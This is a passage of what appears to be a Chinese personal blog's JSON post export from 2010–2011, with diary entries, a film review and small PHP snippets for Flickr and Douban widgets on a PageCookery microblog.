安装地址:http://goo.gl/pkW14\n","count":52,"date":"2011年02月09日","featuredImage":null,"permalink":"https://imnerd.org/pagecookery-theme-ipad.html","summary":"\u003c!-- \u003cembed src=\"http://www.xiami.com/widget/1883615_2094015/singlePlayer.swf\" type=\"application/x-shockwave-flash\" width=\"257\" height=\"33\" wmode=\"transparent\"\u003e\u003c/embed\u003e --\u003e\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=2094015\"\u003e\u003c/iframe\u003e\n\u003cp\u003e不解释，传送门:\u003ca href=\"http://pagecookery.tk\"\u003ehttp:/PageCookery.tk\u003c/a\u003e\n安装地址:\u003ca href=\"http://pagecookery.com/index.html?act=skin\u0026id=ipad\" target=\"_blank\"\u003e\u003ca href=\"http://goo.gl/pkW14\"\u003ehttp://goo.gl/pkW14\u003c/a\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg1.dnschina.net%2Ffiles%2F68%2FiPad.png\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg1.dnschina.net%2Ffiles%2F68%2FiPad.png\" alt=\"image\" /\u003e\u003c/a\u003e\u003c/p\u003e","time":1,"title":"PageCookery Theme:iPad"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":" 小兔子乖乖，把蹄儿甩开，蹦啊蹦啊蹦蹦跳，蹦啊蹦啊蹦蹦跳，一不小心就跳到二零一一年来了。在吐槽之前，先祝福各位网友在新的一年里能够心想事成，万事如意！要养家的合家幸福，要把妹的信手拈来，要考试的节节高！\n发现现在新年的气氛越来越不浓了，以前一堆小孩子在一块不知道有多开心。现在感觉真的是一点意思都没有，还不如不要过的好。而且因为种种原因，一到春节我爸妈必定要吵架，吵得比平常还要凶。你说这样的背景下哪里有什么狗屁的气氛过年啊！\n不仅如此，两个英语近似白痴的小弟也是让我气得吐血啊。我就随便举两个光荣事迹给大家听听好了:老二angry with老给我读成agree with，老三更是，word给我拼成了would，然后居然跟我说是世界的意思！！！！我的神啊，我以为我的英语已经是差的了，没想到还有这么两个垫底的。T=T好吧，我承认我不是一个好老师，但是不至于这样惩罚我吧。\n不扯家里事情了，扯点开心的事情。过年当然要看春晚了。去年春晚是用CBox看的，当时貌似是CBox刚刚出来，反正看的是相当给力。今年原本也打算用它看来这的，但是今年不知怎搞，即使是高清播放画质也是烂的可以！没办法用PPS看了，凑活凑活还是把这恶心的春晚看完了，当然画质也不是非常清楚。之前饭否上很多孩子就在猜春晚上会有多少网络流行语来着，结果我看完之后都无言了啊，不是说你说网络语言有错，最重要的是你说的那些段子哥哥正好是没看多久的啊！！！这怎么能不让我恶寒\u0026hellip;详情见传送门1号和2号。至于节目的各种不给力相比不需要我来说了，大家心知肚明了。魔术非魔术，歌曲非歌曲，哎！没有最差的春晚，只有更差的央视！\n另外我发现边开微博边看春晚这种全国性的节目真的是很欢乐啊。显示爆料春晚播的是录播带，然后是西单女孩被打事件，接着还有志玲姐姐瘦胸一事等等\u0026hellip;搞得我是各种欢快啊！呵呵！好吧，这段我完全是为了增加点击量的，希望度娘收录后能多加点点击量~\n我过年一定要做的事情就是发拜年短信了。曾经用过pingco(这个很挫真的很挫)，也想过用飞信，但是为了短信的整洁以及来电显示什么的，我还是果断放弃了这些省钱的方法。我的手机是诺记非智能机，也想过用PC套件来群发短信，但是经PC套件发送的短信貌似都不会存到手机的已发信箱中，所以我无奈下还是选择了飞信将短信发到自己手机上来，然后再转群发。今年一共发了一百二十条拜年短信，共收到五十七条祝福短信。由于在家都不用手机，造成手机一直没电处于关机状态。年三十特地冲了满格的电来应对短信大战，结果一开机就是二十多条的短信轰炸过来，到我发完短信依然警告我处于低电状态了。\n话说我们这里非常的怪。这里不放鞭炮|爆竹什么的，家家户户都用放烟花来代替鞭炮|爆竹。而且貌似都是一百发的那种大型烟花。所以这两天无论是白天还是晚上，我都能听到烟花轰隆隆的声音@@。没错，他们居然白天也放烟花，虽然说大家都非常的配合政府减少爆竹的使用，但是但是，这他妈的也太浪费了吧！！！不过托福我还是拍到不少烟花图的，在Picasa上拼了张图分享给大家，希望大家喜欢。\n","count":1271,"date":"2011年02月03日","featuredImage":null,"permalink":"https://imnerd.org/2011-spring-festival.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#2094010\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e小兔子乖乖，把蹄儿甩开，蹦啊蹦啊蹦蹦跳，蹦啊蹦啊蹦蹦跳，一不小心就跳到二零一一年来了。在吐槽之前，先祝福各位网友在新的一年里能够心想事成，万事如意！要养家的合家幸福，要把妹的信手拈来，要考试的节节高！\u003c/p\u003e","time":3,"title":"不想过春节"},{"comments":{"data":[17],"errmsg":"","errno":0},"contents":"不是很喜欢PageCookery默认的照片墙效果，很早之前用了@ideeland同学的方法换了一个透明效果，感觉还不错。这两天又想着搞一个LightBox(灯箱)效果，即点击小图片后可以用LightBox效果浏览大图片。预览效果请见：传送门\nPageCookery里头Flickr照片墙是通过CURL函数获取最近上传的json数据来实现的，比较可以的是获取过来的json数据只有小图地址而没有大图地址。所以我就打算自己用Flickr API写过一个。经试验发现，这里需要使用flickr.people.getPublicPhotos和flickr.photos.getSizes两个API，前者获取最近上传照片的信息，后者则获取特定照片的全部尺寸地址。\n将下列代码保存成photos.html替换掉template/photos.html\n{template header} \u0026lt;style type=\u0026#34;text/css\u0026#34;\u0026gt; @import \u0026#39;css/jquery.lightbox.css\u0026#39;; ul.photos li { overflow:hidden; /*根据这个宽度和长度控制你单行显示图片的数量，如果总长是600px，这里设置为100px的话那么你单行就能放6张图片，可以根据自己的情况做改变。*/ /*实在计算不来的可以慢慢试出最佳值*/ width:149px; height:149px;\t} ul.photos li a { filter:alpha(opacity=70); opacity:0.7; -moz-opacity:0.7; -webkit-opacity:0.7;\t} ul.photos li a:hover { filter:alpha(opacity=100); opacity:1; -moz-opacity:1; -webkit-opacity:1; } \u0026lt;/style\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;javascript/jquery.lightbox.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt; $(function() { $(\u0026#39;ul.photos li a\u0026#39;).lightBox({fixedNavigation:true}); }); \u0026lt;/script\u0026gt; \u0026lt;div id=\u0026#34;main\u0026#34;\u0026gt;\t\u0026lt;ul class=\u0026#34;photos\u0026#34;\u0026gt; \u0026lt;php\u0026gt; $key= \u0026#34;\u0026#34;; //输入你申请的key,请到\u0026#34;http://www.flickr.com/services/apps/create/noncommercial/?\u0026#34;这里申请你自己的非商用key $user_id = \u0026#34;\u0026#34;; //输入你的账户id,请到\u0026#34;http://www.flickr.com/services/api/explore/?method=flickr.photos.getRecent\u0026#34;这里查看你的id $per_page = \u0026#34;\u0026#34;; //输入你要显示的照片的数量 $data = file_get_contents(\u0026#34;http://api.flickr.com/services/rest/?method=flickr.people.getPublicPhotos\u0026amp;api_key=\u0026#34; . $key . \u0026#34;\u0026amp;user_id=\u0026#34; . $user_id . \u0026#34;\u0026amp;per_page=\u0026#34; . $per_page ); $object = simpleXML_load_string($data); $photo = $object -\u0026gt; photos -\u0026gt; photo; foreach ($photo as $each) { $photo_m = \u0026#39;http://farm\u0026#39; . $each[\u0026#39;farm\u0026#39;] . \u0026#39;.static.flickr.com/\u0026#39;\t. $each[\u0026#39;server\u0026#39;] . \u0026#39;/\u0026#39; . $each[\u0026#39;id\u0026#39;] . \u0026#39;_\u0026#39; . $each[\u0026#39;secret\u0026#39;] . \u0026#39;_m.jpg\u0026#39;; $photo_b = \u0026#39;http://farm\u0026#39; . $each[\u0026#39;farm\u0026#39;] . \u0026#39;.static.flickr.com/\u0026#39;\t. $each[\u0026#39;server\u0026#39;] . \u0026#39;/\u0026#39; . $each[\u0026#39;id\u0026#39;] . \u0026#39;_\u0026#39; . $each[\u0026#39;secret\u0026#39;] . \u0026#39;_b.jpg\u0026#39;; \u0026lt;/php\u0026gt; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;{$photo_b}\u0026#34;\u0026gt;\u0026lt;img src=\u0026#34;{$photo_m}\u0026#34; /\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;php\u0026gt; } \u0026lt;/php\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;div style=\u0026#34;clear:left\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; {template footer} 需要填写的东西我已经在代码里写好了，大家填写上就好了。可能美观上有些问题，大家再自己根据我这个修改一下自己的样式表就可以了。如有不懂的地方也可以留言，我会尽量帮忙的啦~ 其实我自己的上面是把php语句function成了一个函数，然后再html模板中直接引用就好啦嘿嘿，发现我最近真的很喜欢这样做，function_microblog.php里已经有好几个自定义函数了。嘿咻！然后顺便想说的是更换了一个新的icon，没别的意思，就像让大家看一下，结束！\nPS:搞完这个之后，我发现Flickr有最近更新的RSS订阅，XML里小图地址大图地址各种齐全，连API,USER_id什么的都不要，各种给力。于是我就这么的悲催了\n","count":1121,"date":"2011年01月31日","featuredImage":null,"permalink":"https://imnerd.org/add-lightboxopacity-for-photo-wall.html","summary":"\u003cp\u003e不是很喜欢PageCookery默认的照片墙效果，很早之前用了@\u003ca href=\"http://groups.billwang.net/223/thread-1218/\" target=\"_blank\"\u003eideeland\u003c/a\u003e同学的方法换了一个透明效果，感觉还不错。这两天又想着搞一个LightBox(灯箱)效果，即点击小图片后可以用LightBox效果浏览大图片。预览效果请见：\u003ca href=\"http://pagecookery.net/?act=photos\"\u003e传送门\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003ePageCookery里头Flickr照片墙是通过CURL函数获取最近上传的json数据来实现的，比较可以的是获取过来的json数据只有小图地址而没有大图地址。所以我就打算自己用Flickr API写过一个。经试验发现，这里需要使用flickr.people.getPublicPhotos和flickr.photos.getSizes两个API，前者获取最近上传照片的信息，后者则获取特定照片的全部尺寸地址。\u003c/p\u003e","time":3,"title":"PageCookery:为照片墙增加灯箱和透明效果"},{"comments":{"data":[13],"errmsg":"","errno":0},"contents":" 其实昨天已经到家了，只是昨儿个搞了一下午的网络连接，也还没搞定，所以没上网。今天灵光一现，居然搞定了，呵呵，这个后面再说。\n从学校到火车站去坐车，南昌的始发站……到我坐车的地方也就一个小时左右的车程，结果本来10:55的火车给硬生生的晚点到了11:55\u0026hellip;有人就开玩笑说怎么不直接晚点到12点啊！哈哈！不过比较幸福的是火车上的人还真是少啊，整节车厢估计十个人都没有，这让买了无座的我倍感欣慰。虽然晚点不过好在没有误了我的汽车，天还么亮就做坐汽车去了。\n此次回家最失败的就是在其它地方买了上饶山鸡腿了。我在火车上一睡醒就听到有卖山鸡腿的，跑过去买了几只，发现价钱比以前的便宜了，不过样子倒是一样的。迟到半路上问老三这一站是哪里，结果才知道不是上饶，各种悲剧！不过话说其实那个山鸡腿也还可以啦……= =|||\n回到家就先捣鼓那个网络连接的问题，以前都是用猫接无线路由器分的，但是今年家里多装了一个IPTV，用的是交换机，结果我把交换机用无线路由器代替后IPTV就不能连接网络了。我在交换机上多接一根线到我的笔记本上IPTV也不能上网了，台式电脑和笔记本都可以的说。最后我想交换机输出到IPTV的这部分网络不能动，于是就把交换机输出到台式的信号接入到无线路由器后再转接台式电脑。因为我发现台式电脑在接入交换机的信号后还是需要用PPPOE的方式连接网络的。结果试了一下成功了！~~\n","count":585,"date":"2011年01月24日","featuredImage":null,"permalink":"https://imnerd.org/back-home-2011-01.html","summary":"\u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#1769303055\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e\n\u003cp\u003e其实昨天已经到家了，只是昨儿个搞了一下午的网络连接，也还没搞定，所以没上网。今天灵光一现，居然搞定了，呵呵，这个后面再说。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fs0.i1.picplzthumbs.com%2Fupload%2Fimg%2Ff8%2Fdb%2F6f%2Ff8db6f8d60ab7a2f16053c0bdb0f8037f0ec6823_wmeg_00001.jpg\"\u003e\u003cimg src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fs0.i1.picplzthumbs.com%2Fupload%2Fimg%2Ff8%2Fdb%2F6f%2Ff8db6f8d60ab7a2f16053c0bdb0f8037f0ec6823_400r_00001.jpg\" alt=\"从南昌开过来的火车居然还晚点一个小时……\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e从学校到火车站去坐车，南昌的始发站……到我坐车的地方也就一个小时左右的车程，结果本来10:55的火车给硬生生的晚点到了11:55\u0026hellip;有人就开玩笑说怎么不直接晚点到12点啊！哈哈！不过比较幸福的是火车上的人还真是少啊，整节车厢估计十个人都没有，\u003ca href=\"http://pagecookery.net/?act=view\u0026amp;id=2365\"\u003e这让买了无座的我倍感欣慰。\u003c/a\u003e虽然晚点不过好在没有误了我的汽车，天还么亮就做坐汽车去了。\u003c/p\u003e","time":2,"title":"平安回家"},{"comments":{"data":[17],"errmsg":"","errno":0},"contents":"\r总有那么一个故事，剧情老套，主题乏味，但是总是能够卷起我们的泪水，让我们拍案叫好。我想说，夏日大作战，正是那么一部电影。人与人之间的团结永远是永恒的话题，“兄弟齐心，其利断金”这亘古不变的真理也在电影中表现的活灵活现。整部片子带有诙谐色彩，看完之后你会发现，原来世界还可以这样拯救。\n在豆瓣上看到CMGS君用Geek的态度审视着这部影片，那么我也来截个屏，说说我的观点：\n恩，这个不需要我多说，华丽丽的Windows 7，下面还摆了一堆常用系统图标。只是我比较奇怪桌面右边的类似任务栏的是什么，OZ系统专有的么？貌似开OZ就会有那个东西。\n噗，松下的电视，这屏是为我妈以前买的4000块的松下手机截的。\nWindows 7？不，我要打架看的是那银闪闪的Dell商标！话说这部片子最多的就是Dell和Windows 7了\u0026hellip;\n看不清楚上面的文字，求科普这是哪个牌子的手机。话说，男生用这种样式的手机我感觉很不习惯呢\u0026hellip;呵呵\u0026hellip;\n佳主马的手提，赤裸裸的戴尔额，话说这款高中的时候还觉得挺帅的呢！就是买不起\u0026hellip;= =|||\n恩，好吧，我错了，开OZ也不一定会有那个右任务栏出现\u0026hellip;\n惊现右任务栏，求科普是神马东西！\n小孩子的表情真搞笑，哈哈哈！看的好笑所以截屏下来了。这三个小孩子真是捣蛋的说，然后再话说，三台NDSL啊！\n噗，OZ的虚拟人物果然死也有工作的呢……不过乃们不感觉那个是一个小屏化得Windows 7么？\n再次惊现小屏化得Windows 7，然道说OZ后台管理的界面是仿Windows 7的？这没版权问题吧\u0026hellip;汗\u0026hellip;\n话说这位仁兄的OZ就不是Windows 7了诶，其实我是想让大家看看右上角的啦，Microsoft Windows 7\u0026hellip;笑而不语\u0026hellip;\n不得不感慨一下OZ系统的跨平台性能，连NDSL也可以啊\u0026hellip;手机上也是华丽丽的呢！\n比较悬念的出来呢~任务栏跟前面的Windows 7不同了，所以应该不是Windows 7，任务栏那个Microsoft Windows 7想必大家已经看的非常清楚了。任务栏快速启动那里摆放着Microsoft和IE的图标不知道大家看清楚了没有。CMGS大神和其他仁兄都讲这个是Linux，我怎么看怎么觉得这个是Windows XP呢?!额\u0026hellip;愚见\u0026hellip;\n三任务栏出现！好吧..我觉得这系统越来越恶搞了\u0026hellip;话说这回Microsoft和IE的图标应该很清楚了吧，旁边那五个颜色不一样的东西还真不知道是什么\u0026hellip;估计一个公司出的。\n来个更清楚一点的，话说大家不知道有没有发现，底部任务栏开的那个文件夹的名称，怎么那么像\u0026quot;Tecent File\u0026quot;啊!!!!吓到我了\n从这里也可以看出，这位大叔的电脑系统就是所谓的Linux本人疑似Windows XP的那个系统呢\u0026hellip;而且，貌似也还开着那个\u0026quot;Tecent File\u0026quot;文件夹！\n恩，截屏描述完毕。总的来说，这是一部搞笑煽情片，值得大家一看。(纳尼？！乃们早都看过了啊？！好吧，我凹凸了\u0026hellip;)最后值得一提的是，影片里的音乐也是非常的成功呢，比如文章首的奶奶鼓励大家的背景音乐听的就非常的热血沸腾。\n","count":1345,"date":"2011年01月21日","featuredImage":null,"permalink":"https://imnerd.org/summer-war.html","summary":"\u003c!-- \u003cobject classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"257\" height=\"33\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"src\" value=\"http://www.xiami.com/widget/1883615_1769251458/singlePlayer.swf\" /\u003e\u003cparam name=\"wmode\" value=\"transparent\" /\u003e\u003cembed type=\"application/x-shockwave-flash\" width=\"257\" height=\"33\" src=\"http://www.xiami.com/widget/1883615_1769251458/singlePlayer.swf\" wmode=\"transparent\"\u003e\u003c/embed\u003e\u003c/object\u003e --\u003e\r\n\u003c!-- \u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=1769251458\"\u003e\u003c/iframe\u003e --\u003e\r\n\u003cp\u003e总有那么一个故事，剧情老套，主题乏味，但是总是能够卷起我们的泪水，让我们拍案叫好。我想说，夏日大作战，正是那么一部电影。人与人之间的团结永远是永恒的话题，“兄弟齐心，其利断金”这亘古不变的真理也在电影中表现的活灵活现。整部片子带有诙谐色彩，看完之后你会发现，原来世界还可以这样拯救。\u003c/p\u003e","time":3,"title":"夏日大作战"},{"comments":{"data":[1],"errmsg":"","errno":0},"contents":"\r前几天在捣鼓我的PageCookery主题的时候想引用豆瓣上我最近看过的电影和书，当时只是手工自己写上去的而已。我度过的书到还是好说，一年也难得有一本，但是电影就多了，手写也不是办法。于是开始研究起豆瓣的API了。发现豆瓣输出的是Atom和Json的结果，恩，我用的是Atom的，想要Json版的请看传送门。\n效果预览请见传送门，详细代码如下：\n\u0026lt;?php function Douban($username, $subject, $apikey) {\tif ($apikey == \u0026#34;\u0026#34;) { $apikey=\u0026#39;064e10081295144112ea301837bf3cc3\u0026#39;; } $douban=\u0026#39;http://api.douban.com/people/\u0026#39; . $username . \u0026#39;/collection?cat=\u0026#39; . $subject . \u0026#39;\u0026amp;apikey=\u0026#39; . $apikey ; $feed = simplexml_load_file($douban); $children = $feed-\u0026gt;children(\u0026#39;http://www.w3.org/2005/Atom\u0026#39;); $a = $children-\u0026gt; entry-\u0026gt;children(\u0026#39;http://www.w3.org/2005/Atom\u0026#39;)-\u0026gt;xpath(\u0026#39;//db:subject\u0026#39;); echo \u0026#39;\u0026lt;ul\u0026gt;\u0026#39;; foreach ($a as $d) echo \u0026#39;\u0026lt;li\u0026gt;\u0026#39; . $d -\u0026gt; title . \u0026#39;\u0026lt;/li\u0026gt;\u0026#39;; echo \u0026#39;\u0026lt;/ul\u0026gt;\u0026#39;; } 我把它定义成了一个函数Douban，WP就放到主题的function.php下，PageCookery就放到/lib/function_microblog.php里，其它的自己看着办咯。引用的时候只要如下形式即可\n\u0026lt;?php Douban(\u0026#39;lizheming\u0026#39;, \u0026#39;movie\u0026#39; , \u0026#39;\u0026#39;);//形式是昵称|收藏类型|API_KEY ?\u0026gt; 收藏类型有movie|book|music三种类型可以选择，API_KEY我设置了如果为空则默认一个，但是我还是希望大家可以自己去申请一个，因为豆瓣的api有引用频率的限制，如果一个api_key很多人同时用，可能会出问题。如果使用上有什么问题，大家可以留言。\n参考资料：PHP中的SimpleXML处理 //对SimpleXML的描述很详细，推荐！\n","count":539,"date":"2011年01月16日","featuredImage":null,"permalink":"https://imnerd.org/blockquot-readwatched-from-douban-in-outside.html","summary":"\u003c!-- \u003cobject classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"257\" height=\"33\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0\"\u003e\u003cparam name=\"src\" value=\"http://www.xiami.com/widget/1883615_2116177/singlePlayer.swf\" /\u003e\u003cparam name=\"wmode\" value=\"transparent\" /\u003e\u003cembed type=\"application/x-shockwave-flash\" width=\"257\" height=\"33\" src=\"http://www.xiami.com/widget/1883615_2116177/singlePlayer.swf\" wmode=\"transparent\"\u003e\u003c/embed\u003e\u003c/object\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=1769279641\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003e前几天在捣鼓我的PageCookery主题的时候想引用豆瓣上我最近看过的电影和书，当时只是手工自己写上去的而已。我度过的书到还是好说，一年也难得有一本，但是电影就多了，手写也不是办法。于是开始研究起豆瓣的\u003ca href=\"http://www.douban.com/service/apidoc/reference/\" target=\"_blank\"\u003eAPI\u003c/a\u003e了。发现豆瓣输出的是Atom和Json的结果，恩，我用的是Atom的，想要Json版的请看\u003ca title=\"豆瓣最近Json版\" href=\"http://bee.glroomy.com/recently-for-myblog.html\" target=\"_blank\"\u003e传送门\u003c/a\u003e。\u003c/p\u003e","time":2,"title":"引用豆瓣最近读过的书和看过的电影"},{"comments":{"data":[4],"errmsg":"","errno":0},"contents":"终于放假了，结果今天早上还是十点就起来了，我和军军原本打算睡到十二点的。都怪昨晚喝了太多的水，给尿憋醒了。中午送走了军军和小亭，有点不舍。不过敲诈了很多东西吃啊，鸭腿还有汉堡，嘿嘿！在车站还碰到了小孙，帮他们一大帮人把行李体上车。该走的都走了。\n这几天实在是把自己给憋坏了，三场考试三天连着，电工+矿床+地化。电工是传说中不挂全班也死一半的BOSS级别的，最重要的是我一节课也没有听啊@@(拜托，听也听不懂好不好，羞愧)。矿床是我们的学位课，但貌似我上课也没听多少诶\u0026hellip;地化倒还好，就是整节课就去抄笔记去了。更杯具的是礼拜四上完课下个礼拜二就开始考试了。所以在仅有的复习时间我做了如下的安排：\n礼拜五+礼拜六+礼拜天：全面复习电工，看书，看课后习题还要看历年的试题@@!(真是后悔啊，其实只要认认真真的把那几张历年试题做熟来就好了，好多上面的原题啊\u0026gt;_ 礼拜一：全面复习矿床，那天真是背死我了，那么多知识点，背的我都吐了\u0026hellip; 礼拜二：一考完电工就跑图书馆去自习去了，除了中午饭和晚饭的时间，其它时间就在那里背书了，貌似从那天起图书馆四楼就成了我们几个的“天下”了。背到图书馆关门后还去阶一背了会儿，十一点才回去的\u0026hellip; 礼拜三：早上5:50分惊醒（这是真的！），六点钟起来开始背书到八点钟，去食堂吃了早饭就去考矿床去了。考完又如同昨天一样去图书馆猛背书去了。可能是刚考完学位课，心情一下子不压抑了，没什么心情看书了的说。下午没背到什么东西，晚上开始以惊人的背书速率开始背书（这个惊人是对于我来说的）。后面还到震旦楼307去通宵到两点钟（某人说的过了十二点就是通宵了）。 礼拜四：早上七点钟醒，继续背书到八点去考地化。 考完还开了个班会。恩，怎么说呢，考试的时候我是被我们书记给轰出去的。因为我给我前面那个人说答案来着，貌似是被某些人看到了吧。书记走到我座位旁对我说：“做完了没有？”我回答做完了，书记就说：做完了就赶快走。我就灰溜溜的走掉了。我想着当时我要说没做完或者说做完了但是不走我们书记是不是会被我给气死，哈哈！幸好还算跟书记熟一点，呵呵！考完了还把我和我左前方那个同学拉到旁边训斥我们“协同作案也算作弊处理的如云”（左前方那位也跟我是同样的情况）这让我好生尴尬啊。\n考完中午请寝室的人去天之都吃饭去了，他们说我发工资了要请客来着。结果他们也真狠，六个人七个菜，除了我自己点了一个家乡豆腐没一个菜是素的！还好他们最近胃口不好不喝酒，呵呵，要不然小亭和王者又要拼酒了。\n骚羊当天下午就走掉了，永勇也回去了，就剩下王者和军军了。王者今天早上在我还在睡觉的时候就走了。不过问题是临走的时候还摔坏了寝室一个热水壶，下学期得让他罚一个。昨天帮军军刷机破解刷了一个下午，没办法，没用过智能机么\u0026hellip;\n以前从来没有考试会让我们这么窘迫过，起码没有复习到这种天昏地暗的程度啊！到现在还想着我们能在两天之内搞定两门那么文科性的学科不得不说我们很厉害～～说道这里要引用一下前两天在饭否上看到的消息了：\nUniversity students study 24 hours a day, 7days a week, 2 weeks a year.\nvia:De.li.ci.ous\n","count":1273,"date":"2011年01月14日","featuredImage":null,"permalink":"https://imnerd.org/the-most-eggache-examination.html","summary":"\u003cp\u003e终于放假了，结果今天早上还是十点就起来了，我和军军原本打算睡到十二点的。都怪昨晚喝了太多的水，给尿憋醒了。中午送走了军军和小亭，有点不舍。不过敲诈了很多东西吃啊，鸭腿还有汉堡，嘿嘿！在车站还碰到了小孙，帮他们一大帮人把行李体上车。该走的都走了。\u003c/p\u003e","time":3,"title":"人生最纠结的一次考试"},{"comments":{"data":[16],"errmsg":"","errno":0},"contents":"哈哈，去年看见人家生成的电影列表很壮观的说，今年自己也坚持了一年，终于也有显著效果了，看着一长串的列表很有成就感哦。按时间倒叙排列。数据来自豆瓣，由 doubanlet [Powered By frankel]自动生成。\n","count":90,"date":"2010年12月29日","featuredImage":null,"permalink":"https://imnerd.org/2010-film.html","summary":"\u003cp\u003e哈哈，去年看见人家生成的电影列表很壮观的说，今年自己也坚持了一年，终于也有显著效果了，看着一长串的列表很有成就感哦。按时间倒叙排列。数据来自豆瓣，由\u003ca href=\"https://imnerd.org/douban\"\u003e doubanlet\u003c/a\u003e [Powered By \u003ca href=\"http://www.douban.com/note/54924395/\" alt=\"_blank\"\u003efrankel\u003c/a\u003e]自动生成。\u003c/p\u003e","time":1,"title":"2010年小结之电影全记录"},{"comments":{"data":[7],"errmsg":"","errno":0},"contents":"『刚才有某个朋友说我音乐侵权，如果作者看到认为侵权的话请通知我，我会立即删除！谢谢！』\n班主任电脑出问题，她说她放在桌面的东西只要一开机就会没有掉，但是放在E盘的东西就在。而且有几个病毒怎么也杀不掉，让我重装系统。我也没细细追究原因，就去重装了。重装过程中发现怎么也进不了CD的启动项，而BOIS又给密码锁住了。百试不爽之后发现这台电脑装了一个长城网络还原大师，认为可能是这个东西的原因，所以考虑卸载它。但是在控制面板-添加/删除程序里不能删除它，我就考虑进入它的面板中看看有什么帮助没。没想到居然设置了管理密码，由于不知道管理密码，我先试了几个，未果。然后到帮助里以\u0026quot;忘记密码\u0026quot;为关键词查询了一下，未果。然后我就考虑到安全模式去删除文件，并在注册表里删除它的相关键值。但是重启后又回来了。在网上搜索了下这软件的密码后获得几个初始密码，未果。最后无奈返回到帮助里又以\u0026quot;密码\u0026quot;为关键词终于发现这东西的初始密码是\u0026quot;GreatWall\u0026quot;，输入后成功进入面板，将其改成个人模式后卸载成功。再启动项里卸载后终于能进入CD启动项了。安装结束后无奈发现网络配置不成功，试了一下发现没有本地连接，初步认为没装网卡驱动，于是借用隔壁老师电脑下载驱动，但是下载了几个驱动都不行。束手无策，只好作罢。\n事后仔细想想，应该就是长城网络还原大师对C盘进行了保护，导致桌面的东西会回到初始状态，而杀毒杀不尽的原因也可能是有几个病毒就在C盘里头，开机回到初始值自然杀不尽了。所以其实只要卸载了长城网络还原大师就好了，没必要重装系统。只是老师最开始没跟我说清出情况，只让我一个劲的重装系统去了。唉！\n为了帮她重装系统，我还不小心上课迟到。结果老师这节课正好是发期末试卷，结课的时候交。问题是他居然是一个一个的发，每张试卷上还都印了页码，不能让别人帮忙拿，真是恶毒啊！跟老师说班主任找我也不行，最后只好让班主任亲自去说了。虽然会让班主任有点难堪，但也是没有办法的事情额。\n最后总结一下，不得不说，试卷印页码这手法，还真是恶毒的可以。\n","count":875,"date":"2010年12月27日","featuredImage":null,"permalink":"https://imnerd.org/help-rsq-install-os.html","summary":"\u003cp\u003e『刚才有某个朋友说我音乐侵权，如果作者看到认为侵权的话请通知我，我会立即删除！谢谢！』\u003c/p\u003e\n\u003cp\u003e班主任电脑出问题，她说她放在桌面的东西只要一开机就会没有掉，但是放在E盘的东西就在。而且有几个病毒怎么也杀不掉，让我重装系统。我也没细细追究原因，就去重装了。重装过程中发现怎么也进不了CD的启动项，而BOIS又给密码锁住了。百试不爽之后发现这台电脑装了一个长城网络还原大师，认为可能是这个东西的原因，所以考虑卸载它。但是在控制面板-添加/删除程序里不能删除它，我就考虑进入它的面板中看看有什么帮助没。没想到居然设置了管理密码，由于不知道管理密码，我先试了几个，未果。然后到帮助里以\u0026quot;忘记密码\u0026quot;为关键词查询了一下，未果。然后我就考虑到安全模式去删除文件，并在注册表里删除它的相关键值。但是重启后又回来了。在网上搜索了下这软件的密码后获得几个初始密码，未果。最后无奈返回到帮助里又以\u0026quot;密码\u0026quot;为关键词终于发现这东西的初始密码是\u0026quot;GreatWall\u0026quot;，输入后成功进入面板，将其改成个人模式后卸载成功。再启动项里卸载后终于能进入CD启动项了。安装结束后无奈发现网络配置不成功，试了一下发现没有本地连接，初步认为没装网卡驱动，于是借用隔壁老师电脑下载驱动，但是下载了几个驱动都不行。束手无策，只好作罢。\u003c/p\u003e","time":2,"title":"帮班主任重装系统"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":" 